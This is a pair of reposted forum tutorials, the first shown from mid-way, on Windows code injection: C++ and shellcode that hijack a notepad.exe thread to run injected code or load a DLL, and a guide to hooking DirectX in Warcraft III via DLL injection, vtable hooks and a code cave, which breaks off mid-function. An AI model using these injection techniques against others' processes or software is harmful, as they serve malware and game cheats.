LoadLibrary("User32.dll") ;now the address of the LOADED LIBRARY User32.dll is in eax register push 0xACEACEAC ;->placeholder for the address of the string MessageBoxA push eax ;->push User32.dll into the stack mov edx,0xACEACEAC ;->placeholder for the address of GetProcAddress call edx ;translated in c++: GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA") ;now the address of MessageBoxA is in eax register push 0 ;push the fourth parameter of MessageBoxA (MB_OK) push 0xACEACEAC ;->placeholder for the address of the text (3 parameter) push 0xACEACEAC ;->placeholder for the address of the caption (2 parameter) push 0 ;push the first parameter into the stack (don't bother) call eax ;translated in c++: MessageBox(0, "caption", "text", MB_OK) popad ;restore all the registers popfd ;restore all the flags ret ;get back to right execution as i said before we can inject an assembly code or shellcode (they behave in the same way), so that assembly code converted in shellcode is: char shellcode[] = "\x68\xac\xce\xea\xac\x9c\x60\x68\xac\xce\xea\xac\xb9\xac\xce\xea\xac\xff\xd1\x68\xac\xce\xea\xac\x50\xba\xac\xce\xea\xac\xff\xd2\x6a\x00\x68\xac\xce\xea\xac\x68\xac\xce\xea\xac\x6a\x00\xff\xd0\x61\x9d\xc3"; now lets see the real full code: #include <windows.h> #include <iostream> #include <fstream> #include <stdlib.h> #include <tlhelp32.h> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib") using namespace std; int privileges(); DWORD getPid(string procName); DWORD GetThreadID(DWORD pid); __declspec() void myFunc(); __declspec() void Useless(); int _tmain() { privileges(); unsigned long oldIP; DWORD pid = getPid("notepad.exe"); if (pid==0) return 1; cout<<pid<<endl; HANDLE p; p = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (p==NULL) return 1; //error char * user32 = "User32.dll"; char * MsgBox = "MessageBoxA"; char * testo = "REPORT"; char * mex = "INJECTION THREAD: SUCCESS!"; unsigned long size_myFunc = (unsigned long)Useless - (unsigned long)myFunc; unsigned long GetProcAdr = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress"); unsigned long Load32 = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); void * mexAddress = VirtualAllocEx(p, NULL, strlen(mex)+1, MEM_COMMIT, PAGE_READWRITE); void * testoAddress = VirtualAllocEx(p, NULL, strlen(testo)+1, MEM_COMMIT, PAGE_READWRITE); void * MsgboxAddress = VirtualAllocEx(p, NULL, strlen(MsgBox)+1, MEM_COMMIT, PAGE_READWRITE); void * DataAddress = VirtualAllocEx(p, NULL, strlen(user32)+1, MEM_COMMIT, PAGE_READWRITE); void * MyFuncAddress = VirtualAllocEx(p, NULL, size_myFunc, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(p, DataAddress, user32, strlen(user32), NULL); //string user32.dll WriteProcessMemory(p, MsgboxAddress, MsgBox, strlen(MsgBox), NULL); //string MessageBoxA WriteProcessMemory(p, testoAddress, testo, strlen(testo), NULL); //string for caption WriteProcessMemory(p, mexAddress, mex, strlen(mex), NULL); //string for text DWORD thID = GetThreadID(pid); HANDLE hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, thID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); oldIP = ctx.Eip; ctx.Eip = (DWORD)MyFuncAddress; ctx.ContextFlags = CONTEXT_CONTROL; WriteProcessMemory(p, MyFuncAddress, myFunc,size_myFunc, NULL); //After writing the function we patch it with the right addresses WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 1), &oldIP, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 8), &DataAddress, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 13), &Load32, 4, NULL); //CARICATO USER32.DLL WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 20), &MsgboxAddress, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 26), &GetProcAdr, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 35), &testoAddress, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 40), &mexAddress, 4, NULL); SetThreadContext(hThread, &ctx); ResumeThread(hThread); Sleep(1000); //wait a second! //if we want to free the used memory and the injected code that will take a short time of execution, //we can of course wait for it for a certain period with Sleep(); //but if the code will keep running with no ending we cannot free the memory otherwise it will crash the target application //VirtualFreeEx(p, MyFuncAddress, size_myFunc, MEM_DECOMMIT); //VirtualFreeEx(p, DataAddress, strlen(mytext)+1, MEM_DECOMMIT); CloseHandle(p); CloseHandle(hThread); system("PAUSE"); return EXIT_SUCCESS; } DWORD GetThreadID(DWORD pid){ HANDLE hsnap; THREADENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); pt.dwSize = sizeof(THREADENTRY32); while (Thread32Next(hsnap, &pt)){ if(pt.th32OwnerProcessID == pid){ DWORD Thpid = pt.th32ThreadID; CloseHandle(hsnap); return Thpid; } }; CloseHandle(hsnap); return 0; } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(!strcmp(pt.szExeFile, procName.c_str())){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } __declspec(naked) void myFunc(){ _asm { push 0xACEACEAC pushfd pushad push 0xACEACEAC mov ecx, 0xACEACEAC call ecx push 0xACEACEAC push eax mov edx,0xACEACEAC call edx push 0 push 0xACEACEAC push 0xACEACEAC push 0 call eax popad popfd ret } } __declspec(naked) void Useless(){ //this let's us calculate the address of MyFunc _asm ret; } int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } Now i want to explain a bit for who didn't understand how to patch the function. Before i stated that i put placeholders that will be replaced with the right addresses, to help you i posted the shellcode that come handy when looking for the offset(position) of the placeholders. take a look at it, we want to patch the first item (oldIP), the placeholder is 0xACEACEAC that translated in hex is "\xac\xce\xea\xac". Now, you need to know that "\xXX" you see is a traslated value, and the first time we meet "\xac\xce\xea\xac" is after 1 "\xXX"... we can consider any "\xXX" such as a posistion, so: . 0 . 1 . 2 . 3 . 4 . 5 . 6 . ... "\x68\xac\xce\xea\xac\x9c\x60 ... so, the beginning address of MyFuncAddress corrisponds to . 0 . ( = \x68 ), and the beginning of the placeholder to . 1 ., so MyFuncAddress + 1... here we write the right address that will replace the first "\xac\xce\xea\xac" if we look for the second we find it in the eighth position so MyFuncAddress + 8... so on until we patch them all. we convent MyFuncAddress from void* to unsigned long so to do an aritmethic sum, then we convert the result back to void* (void*)((unsigned long) MyFuncAddress + each_offset) I noticed that people that use Dev-C++ get an error because it doesn't find OpenThread() and an error with asm tags, well i suggest you to get VisualC++... btw now i show you in a DLL INJECTION how you can get dinamically OpenThread() from kernel32.dll and use the shellcode instead of an asm tags: #include <windows.h> #include <iostream> #include <fstream> #include <stdlib.h> #include <tlhelp32.h> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib") using namespace std; char shellcode[] = "\x68\xac\xce\xea\xac\x9c\x60\x68\xac\xce\xea\xac\xb8\xac\xce\xea\xac\xff\xd0\x61\x9d\xc3"; typedef HANDLE (WINAPI* OpenThreadfunc)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId); OpenThreadfunc myOpenThread; void setOpenThread(); int privileges(); DWORD getPid(string procName); DWORD GetThreadID(DWORD pid); int injectLibrary(char * process, char * dll); HMODULE kernel; int main(int argc, char *argv[]) { injectLibrary("notepad.exe", "C:\\fullpath\\myDll"); system("PAUSE"); return EXIT_SUCCESS; } int injectLibrary(char * process, char * dll){ setOpenThread(); if (myOpenThread == NULL){ cout<<"Error with OpenThread()"<<endl; return 1; } unsigned long oldIP; if (privileges()==1){ //we if you want to check privileges you can, but some times if you are administrator you can perform injection without them cout<<"Error couldn't get privileges..."<<endl; } DWORD pid = getPid("notepad.exe"); if (pid==0) return 1; HANDLE p; p = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (p==NULL) return 1; //error char * dllName = dll; unsigned long shsize = sizeof(shellcode); unsigned long Load32 = (unsigned long)GetProcAddress(kernel, "LoadLibraryA"); void * DllAddress = VirtualAllocEx(p, NULL, strlen(dllName)+ 1, MEM_COMMIT,PAGE_READWRITE); void * MyFuncAddress = VirtualAllocEx(p, NULL, shsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(p, DllAddress, dllName, strlen(dllName), NULL); DWORD thID = GetThreadID(pid); HANDLE hThread = myOpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, thID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); oldIP = ctx.Eip; ctx.Eip = (DWORD)MyFuncAddress; ctx.ContextFlags = CONTEXT_CONTROL; WriteProcessMemory(p, MyFuncAddress, &shellcode, shsize, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 1), &oldIP, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 8), &DllAddress, 4, NULL); WriteProcessMemory(p, (void*)((unsigned long)MyFuncAddress + 13), &Load32, 4, NULL); SetThreadContext(hThread, &ctx); ResumeThread(hThread); CloseHandle(p); CloseHandle(hThread); FreeLibrary(kernel); return 0; } void setOpenThread(){ kernel = LoadLibrary("kernel32.dll"); if (kernel != NULL) myOpenThread = (OpenThreadfunc)GetProcAddress(kernel, "OpenThread"); } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(!strcmp(pt.szExeFile, procName.c_str())){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } DWORD GetThreadID(DWORD pid){ HANDLE hsnap; THREADENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); pt.dwSize = sizeof(THREADENTRY32); while (Thread32Next(hsnap, &pt)){ if(pt.th32OwnerProcessID == pid){ DWORD Thpid = pt.th32ThreadID; CloseHandle(hsnap); return Thpid; } }; CloseHandle(hsnap); return 0; } int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } WELL, FINISH!! I hope this tutorial will help you! ENJOY CODING! RosDevil Sursa: Code Injections [beginner and advanced] - rohitab.com - Forums
-
[h=1]Run-time directx hooking using code injection and vtable[/h]Author: [h=3]AnthIste[/h]Okay folks, today I'll be teaching you how to take control of DirectX without the use of MS Detours or somehow hooking Direct3DCreate. You will be able to inject your dll at any time and still have a working hook . This might not be the best way to do it, but it certainly worked for me. It might not work on the specific version of DirectX you have installed, though (More on that later). Even if it doesn't work universally I'm sure there could be a workaround and at least I learnt something (and I would like to share that ) NOTE: I am not an emotionless bastard, but I couldn't post with all my smileys... bleh. DISCLAIMER: Any loss of brain cells reading this long ass tutorial is your own responsibility. Also, the usual, use at your own risk, don't use it to hurt people etc.... Learn something and apply it constructively Required Knowledge / Tools I expect you to have a solid understanding of the following (else following this might be difficult) - Dll injection and possibilities that it creates - X86 Assembly - C++ (especially function pointers) - Simple detours - Debugging with OllyDbg - CheatEngine - DirectX - DirectX SDK Introduction I started this project quite accidentally. I am not aware of any d3d hacks for Warcraft III (or the purpose of having one ) so I thought it could be a challenge to make one. This game dynamically loads d3d8.dll to set up all its Directx related stuff. I'll use this game as an example because even though DirectX8 is old technology the theory still applies to DirectX9 (tested and working). I also think its a pretty pretty popular game so if you have a copy you can whip it out and work with me here . Its also the only game that I have that seems to load the Directx module at runtime which is cool because this system works regardless of that (and what's the fun if its too easy This IS the first tutorial that I've ever written so bear with me As I work through this I'll put some screenies to show what's going on. I guess images don't stay linked forever so I'll put a copy of the disassembly with the picture. Please note that this tutorial will focus a lot on the theory of the process so if you don't understand why certain variables are placed where or need to be told in what source file and between which braces a certain piece of code goes I suggest you learn more C++ and then come back for a second run. Overview of procedure Before I dive right into the action I'll just give a brief overview of what we're going to do here. Don't worry if it doesn't all make sense, I'll go through everything in more detail soon. =PART 1 : Information gathering dll and loader= Make a loader that will spawn the process we are working on (in this case war3.exe) Start it with the CREATE_SUSPENDED flag and inject our dll Resume the process. This dll WILL hook Direct3DCreate8. If we have access to an instance of a IDirect3D8 object we have access to just about everything . Hook CreateDevice using this object's vtable. When createDevice is called we have access to the created IDirect3DDevice8 object (and all its methods via the vtable). We will log all the info that we get here (pointers / addresses of objects and methods, offsets etc) for use in creating the final code. =PART 2 : Final dll= This dll can be injected with anything (eg winject) so I wont go over making a loader for it as well (but the above one will work after a bit of modification I guess). After finding what we were looking for in PART 1 we will do a bit of code injection to steal the address of our d3d device. Use this device to do a vtable hook on any desired d3d methods ------------------- PART 1 : Loader and information gathering --------------------------------- Woohoo time to start coding... We'll start of with the loader. Open up VC++ and create a new empty win32 project. Call it Loader. Add 3 new files: main.cpp inject.h inject.cpp inject.h will just have includes and the definition for our function: // inject.h #ifndef INC_INJECT #define INC_INJECT #include <windows.h> #include <iostream> HMODULE InjectDLL(DWORD ProcessID, char* dllName); #endif inject.cpp will contain our injection function. Im not going to deal with how that works, there are more than enough tutorials on the topic . Credit for this code goes to < bah cant find out whos it is :/, thats not good > // inject.cpp #include "inject.h" HMODULE InjectDLL(DWORD ProcessID, char* dllName) { HANDLE Proc; HANDLE Thread; char buf[50]={0}; LPVOID RemoteString, LoadLibAddy; HMODULE hModule = NULL; DWORD dwOut; if(!ProcessID) return false; Proc = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessID); if(!Proc) { sprintf_s(buf, "OpenProcess() failed: %d", GetLastError()); MessageBoxA(NULL, buf, "Loader", NULL); return false; } LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (!LoadLibAddy) { return false; } RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(dllName), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if (!RemoteString) { return false; } if (!WriteProcessMemory(Proc, (LPVOID)RemoteString, dllName, strlen(dllName), NULL)) { return false; } Thread = CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL); if (!Thread) { return false; } else { while(GetExitCodeThread(Thread, &dwOut)) { if(dwOut != STILL_ACTIVE) { hModule = (HMODULE)dwOut; break; } } } CloseHandle(Thread); CloseHandle(Proc); return hModule; } Ok, time to make a loader. Ive tried my best to comment the code that it explains itself but here goes anyway. The loader and the dll will both be placed in the game's directory. We use GetModuleFileName to find the current directory. Append the target executable's name and our dll's name to the path to get the full path for use in injection and CreateProcess. // main.cpp #include <windows.h> #include <iostream> #include "inject.h" const char* EXE_NAME = "war3.exe"; // target executable const char* DLL_NAME = "dll.dll"; // dll to inject int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { char path[MAX_PATH]; char exename[MAX_PATH]; char dllname[MAX_PATH]; // aquire full path to exe: GetModuleFileNameA(0, path, MAX_PATH); // find the position of the last backslash and delete whatever follows // (eg C:\Games\loader.exe becomes C:\Games\) int pos = 0; for (int k = 0; k < strlen(path); k++) { if (path[k] == '\\') { pos = k; } } path[pos+1] = 0; // null-terminate it for strcat // build path to target strcpy_s(exename, path); strcat_s(exename, EXE_NAME); // build path to dll strcpy_s(dllname, path); strcat_s(dllname, DLL_NAME); // launch program: STARTUPINFOA siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); if (!CreateProcessA(NULL, exename, 0, 0, false, CREATE_SUSPENDED, 0, 0, &siStartupInfo, &piProcessInfo)) { MessageBoxA(NULL, exename, "Error", MB_OK); } // get the process id for injection DWORD pId = piProcessInfo.dwProcessId; // Inject the dll if (!InjectDLL(pId, dllname)) { MessageBoxA(NULL, "Injection failed", "Error", MB_OK); } ResumeThread(piProcessInfo.hThread); return 0; } Now that we have a loader we need something to actually inject. Add a new win32 dll project and call it dll. First off add another main.cpp to this project. CODE C Language #include <windows.h> #include <detours.h> #pragma comment(lib, "detours.lib") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); // Apply the hook } } return TRUE; } Hmm ok we know that the game uses LoadLibraryA to access directX. This means that we cannot directly hook Direct3DCreate8 because a) It isnt loaded yet We wouldnt know the address of it What we're going to do is firstly hook the LoadLibraryA function. typedef HMODULE (WINAPI *LoadLibrary_t)(LPCSTR); LoadLibrary_t orig_LoadLibrary; // holds address of original non-detoured function // Our hooked LoadLibrary HMODULE WINAPI LoadLibrary_Hook ( LPCSTR lpFileName ) { HMODULE hM = orig_LoadLibrary( lpFileName ); // keep functionality return hM; } // When the dll loads orig_LoadLibrary = (LoadLibrary_t)DetourFunction((LPBYTE) LoadLibraryA, (LPBYTE) LoadLibrary_Hook ); Ok well for starters you can build the solution, place the 2 output files in your game directory and see if it actually works so far. If it doesnt crash, sweet, we're ready to continue We'll use our hooked function to see when d3d8.dll is actually being loaded. When it does, we can get the address of Direct3DCreate8 and detour that too. During testing I saw that the game loads the dll a few times before carrying on so if you're working on another game that doesn't you can take the counter check out. // Our hooked LoadLibrary HMODULE WINAPI LoadLibrary_Hook ( LPCSTR lpFileName ) { static int hooked = 0; HMODULE hM = orig_LoadLibrary( lpFileName ); if ( strcmp( lpFileName, "d3d8.dll" ) == 0) { hooked++; if (hooked == 3) { // get address of function to hook pDirect3DCreate8 = (PBYTE)GetProcAddress(hM, "Direct3DCreate8"); HookAPI(); } } return hM; } To hook Direct3DCreate8 we will need a few more variables. // globals // Our hook function IDirect3D8* __stdcall hook_Direct3DCreate8(UINT sdkVers); // The original to call typedef IDirect3D8* (__stdcall *Direct3DCreate8_t)(UINT SDKVersion); Direct3DCreate8_t orig_Direct3DCreate8; // Holds address that we get in our LoadLibrary hook (used for detour) PBYTE pDirect3DCreate8; The HookAPI() function looks as follows: void HookAPI() { // simple detour orig_Direct3DCreate8 = (Direct3DCreate8_t)DetourFunction(pDirect3DCreate8, (PBYTE)hook_Direct3DCreate8); } Now we have access to the created IDirect3D object IDirect3D8* __stdcall hook_Direct3DCreate8(UINT sdkVers) { IDirect3D8* pD3d8 = orig_Direct3DCreate8(sdkVers); // real one // Use a vtable hook on CreateDevice to get the device pointer later DWORD* pVtable = GetVtableAddress(pD3d8); HookFunction(pVtable, (void*)&hook_CreateDevice, (void*)&orig_CreateDevice, 15); return pD3d8; } Okay now you might be wondering wtf is going on . Let me explain. An object that has virtual methods is laid out in memory like so (roughly) --Object-- pointer to vtable (4 bytes) member 1 member 2 ... ---------- --VTable-- pointer to method 1 (4 bytes) pointer 2 method 2 (4 bytes) ... ---------- This means that if we have a pointer to an object (all that work up there , we have access to its vtable (which has addresses of all its functions). We can get this pointer with the following code: DWORD* GetVtableAddress(void* pObject) { // The first 4 bytes of the object is a pointer to the vtable: return (DWORD*)*((DWORD*)pObject); } If we have access to the vtable, it should be pretty easy to replace the pointer of any of its virtual functions to point to a hooked function that we define . There is one issue. If you have a C++ class class Foo { virtual void Method1(int a); }; , Method1 has parameters void Method1(Foo* pThis, int a); This is where the this pointer comes from. The compiler inserts that for you. This means that if we want to hook any of IDirect3D8's methods using the vtable we define them with an extra pointer mmkay. In order to hook a function you will need its offset from the base address of the vtable. You can find these offsets online or simply count in the d3d8.h file from the sdk. The vtable is write-protected so we need a few calls to VirtualProtect to overwrite anything. A little function to hook a vtable address: void HookFunction(DWORD* pVtable, void* pHookProc, void* pOldProc, int iIndex) { // Enable writing to the vtable at address we aquired DWORD lpflOldProtect; VirtualProtect((void*)&pVtable[iIndex], sizeof(DWORD), PAGE_READWRITE, &lpflOldProtect); // Store old address if (pOldProc) { *(DWORD*)pOldProc = pVtable[iIndex]; } // Overwrite original address pVtable[iIndex] = (DWORD)pHookProc; // Restore protection VirtualProtect(pVtable, sizeof(DWORD), lpflOldProtect, &lpflOldProtect); } All the pointer dereferencing is way confusing O_O. if you cant follow it just read over it a few times till it makes sense. Anyways, back to what we were trying to do.. We wanted to hook CreateDevice sooo.... lets start with a few more globals // CreateDevice typedef HRESULT (APIENTRY *CreateDevice_t)(IDirect3D8*,UINT,D3DDEVTYPE,HWND,DWORD,D3DPRESENT_PARAMETERS*,IDirect3DDevic e8**); CreateDevice_t orig_CreateDevice; HRESULT APIENTRY hook_CreateDevice(IDirect3D8* pInterface, UINT Adapter,D3DDEVTYPE DeviceType,HWND hFocusWindow,DWORD BehaviorFlags,D3DPRESENT_PARAMETERS* pPresentationParameters,IDirect3DDevice8** ppReturnedDeviceInterface); And the hook proc (note the extra pointer): HRESULT APIENTRY hook_CreateDevice(IDirect3D8* pInterface, UINT Adapter,D3DDEVTYPE DeviceType,HWND hFocusWindow,DWORD BehaviorFlags,D3DPRESENT_PARAMETERS* pPresentationParameters,IDirect3DDevice8** ppReturnedDeviceInterface) { HRESULT ret = orig_CreateDevice(pInterface, Adapter, DeviceType, hFocusWindow, BehaviorFlags, pPresentationParameters, ppReturnedDeviceInterface); // Registers MUST be preserved when doing your own stuff!! __asm pushad // get a pointer to the created device IDirect3DDevice8* d3ddev = *ppReturnedDeviceInterface; // lets log it (format in hex mode to make it easier to work with) char buf[50] = {0}; sprintf_s(buf, sizeof(buf), "pD3ddev: %X", d3ddev); std::ofstream of; of.open("C:\\d3d_log.txt", std::ios::app); // append mode of << buf; of.close(); __asm popad return ret; } PHEW. Done with this part . Now you might be wondering WTF all that trouble was for. Well. We'll get to that ------------------- PART 2 : Making the runtime hook --------------------------------- Lets start with a bit more theory With what we have just done we can hook any of IDirect3DDevice8's methods eg EndScene or DrawIndexedPrimitive in a similar way to hooking CreateDevice. But then we would have to start the game with our loader every time . We need a way of getting the device pointer without any of the hooks we used. This is where I decided to do a bit of code injection Lets get going. Start the game using your loader. Dont exit it, we gonna start debugging. If you can, switch the game to windowed mode (breakpoints dnt f*** up like with fullscreen d3d apps). But we busy with warcraft here remember and it doesnt have that option. O well Alt-tab and check your C: drive. If the hook worked you should have a nice little d3d_log.txt waiting for you . Open it up and copy the address of your d3d device. Mine is 6E7100. Run OllyDbg and attach to war3.exe. Hit alt+e to see a list of executable modules. Look for d3d8.dll. Right click on it and say copy->base. Store this somewhere for later. Detach olly from the process (as in DETACH it, make sure the game does not exit! We are still working). Fire up CheatEngine and manually add the address of your device (eg mine being 6E7100). Right click on it and select Find Out What Accessses this address. Alt-tab in and out of the game. You should have a nice long list of instructions that access your device pointer. We want to find one located in the d3d8.dll module because any other directx8 game will load this as well. Remember that base address you took down? You gonna need it now. Mine was 68B90000. Look for an instruction in the list that looks like it was called from this module. Here is a picture as an example. For sake of the tutorial Il use the one that ive already used in the final dll. On this run it is located at 68BFCBF7. The thing is, this address cannot be hardcoded because it will change whenever d3d8.dll is loaded at a different base address. We can find it every time, though. We just need its OFFSET from the base of the module. Base + Offset = Address. What we do is subtract the base from our address to get the offset. 68BFCBF7 - 68B90000 = 6CBF7 This offset will always stay the same. Weo. What we are going to do now is use this instruction to get the pointer every time. Lets hit a bit more olly. Attach to war3.exe again (make sure you close cheat engine first else olly will puke on you). Hit ctrl+g and paste in the address of your instruction. Hit enter. if all went well you should be here: What we want to do is set up a code cave and steal the address. We need an empty space in the code where we can do our own thing. If you hit ctrl+end you should be at the bottom of the d3d8 module. There are a lot of zeroes here which is perfect for us. Hit ctrl+g and move back to where we were. What we want to do is set up a JMP instruction into empty space and set up our cave. For purpose of the tutorial im going to be jumping to BASE + F3FC5. Hit space on your instruction to assemble the jmp. In this case I have a Hit enter on it to jump to our cave. We have to restore the instructions we overwrote by assembling the jump though. So hit space and fill in the first one. Then the second. The address of our device is currently in EAX so lets put that somewhere where we can find it . 4 bytes above the cave sounds good to me. So we MOV the pointer to an address that we know and JMP back to the next real instruction. Dont run this now, you will get an access violation when trying to write to that address. We will virtualProtect it later. If you press ctrl+a to analyse the code and it doesnt come out scrambled it should all be fine. Hit enter on the jmps to see if they go to the right place. We have ourselves a nice working code cave. If we want to inject this we will need the assembled bytecodes. Start with the jump. select it and press ctrl+insert to binary copy. Save this somewhere. Do the same for the entire cave (make sure to select it all). Phew. Time to code this baby. Create a new win32 dll project and call it d3d. Add another main.cpp When we attach we want to run the code injector and address grabber in a new thread, else the game will hang and never execute the code we want :/ So we have #include <windows.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); CreateThread(0, 0, Patch_StealD3d8Device, 0, 0, 0); } return TRUE; } The code injector routine looks as follows: DWORD WINAPI Patch_StealD3d8Device(LPVOID param) { // Aquire base address of d3d8.dll int base_d3d8 = (int)GetModuleBaseAddress(GetCurrentProcessId(), "d3d8.dll"); // add offsets to get addresses const int addr_jmp = base_d3d8 + 0x00076E33; const int addr_cave = base_d3d8 + 0x000F3FC9; const int addr_value = base_d3d8 + 0x000F3FC5; // The bytecode we got byte jmp[] = "\xE9\x91\xD1\x07"; // last ACTUAL byte is \x00 which works out with a null-terminated string byte cave[] = "\x8B\x06\x8B\x48\x08\x89\x35\xC5\x3F\x0B\x6D\xE9\x5F\x2E\xF8\xFF"; // This null-terminated // buddy is ok because its floating in a sea of zeroes // virtualprotect the addresses for writing DWORD lpflOldProtect; // write jmps VirtualProtect((void*)addr_jmp, sizeof(jmp), PAGE_EXECUTE_READWRITE, &lpflOldProtect); memcpy((void*)addr_jmp, (void*)jmp, sizeof(jmp)); VirtualProtect((void*)addr_jmp, sizeof(jmp), lpflOldProtect, &lpflOldProtect); // write caves VirtualProtect((void*)addr_cave, sizeof(cave), PAGE_EXECUTE_READWRITE, &lpflOldProtect); memcpy((void*)addr_cave, (void*)cave, sizeof(cave)); // modify code to make sure that we store in the right place *(int*)(addr_cave + 7) = addr_value; VirtualProtect((void*)addr_cave, sizeof(cave), lpflOldProtect, &lpflOldProtect); // protect value addr for writing VirtualProtect((void*)addr_value, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &lpflOldProtect); // Wait for the value of the vtable and hook stuff HANDLE hThread = CreateThread(0, 0, HookAPI, 0, 0, 0); WaitForSingleObject(hThread, INFINITE); // restore jmp byte orig[] = {0x8B, 0x06, 0x8B, 0x48, 0x08}; VirtualProtect((void*)addr_jmp, sizeof(orig), PAGE_EXECUTE_READWRITE, &lpflOldProtect); memcpy((void*)addr_jmp, (void*)orig, sizeof(orig)); VirtualProtect((void*)addr_jmp, sizeof(orig), lpflOldProtect, &lpflOldProtect); return 1; } The reason for the *(int*)(addr_cave + 7) = addr_value; is that we cannot have any hardcoded addresses. We write the real address to the right place in the code. We are almost ready to hook . We create a new thread that reads in the address of the device pointer. using that we can use a vtable hook on whichever methods we want // globals DWORD* pVtable; DWORD WINAPI HookAPI(LPVOID param) { // Aquire base address of d3d8.dll int base_d3d8 = (int)GetModuleBaseAddress(GetCurrentProcessId(), "d3d8.dll"); const int addr_value = base_d3d8 + 0x000F3FC5; Sleep(100); // wait for address to get written // protect value addr for reading / writing DWORD lpflOldProtect; VirtualProtect((void*)addr_value, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &lpflOldProtect); // poll the value until it gets written by our cave DWORD result = 0; while (!result) { result = *(DWORD*)addr_value; Sleep(10); } // find the vtable pVtable = GetVtableAddress((void*)result); // APPLY THE HOOK, FINALLY!!! HookFunction(pVtable, (void*)&hook_EndScene, (void*)&orig_EndScene, 35); HookFunction(pVtable, (void*)&hook_DrawIndexedPrimitive, (void*)&orig_DrawIndexedPrimitive, 71); HookFunction(pVtable, (void*)&hook_Present, (void*)&orig_Present, 15); HookFunction(pVtable, (void*)&hook_SetStreamSource, (void*)&orig_SetStreamSource, 83); return 1; } I almost forgot. The code to get the base address of a loaded module was written by Sheep afaik and is as follows: // Project must not be unicode else this will not compile DWORD* GetModuleBaseAddress(DWORD iProcId, char* DLLName) { HANDLE hSnap; // Process snapshot handle. MODULEENTRY32 xModule; // Module information structure. hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, iProcId); // Creates a module // snapshot of the // game process. xModule.dwSize = sizeof(MODULEENTRY32); // Needed for Module32First/Next to work. if (Module32First(hSnap, &xModule)) // Gets the first module. { do { if (strcmp(xModule.szModule, DLLName) == 0) // If 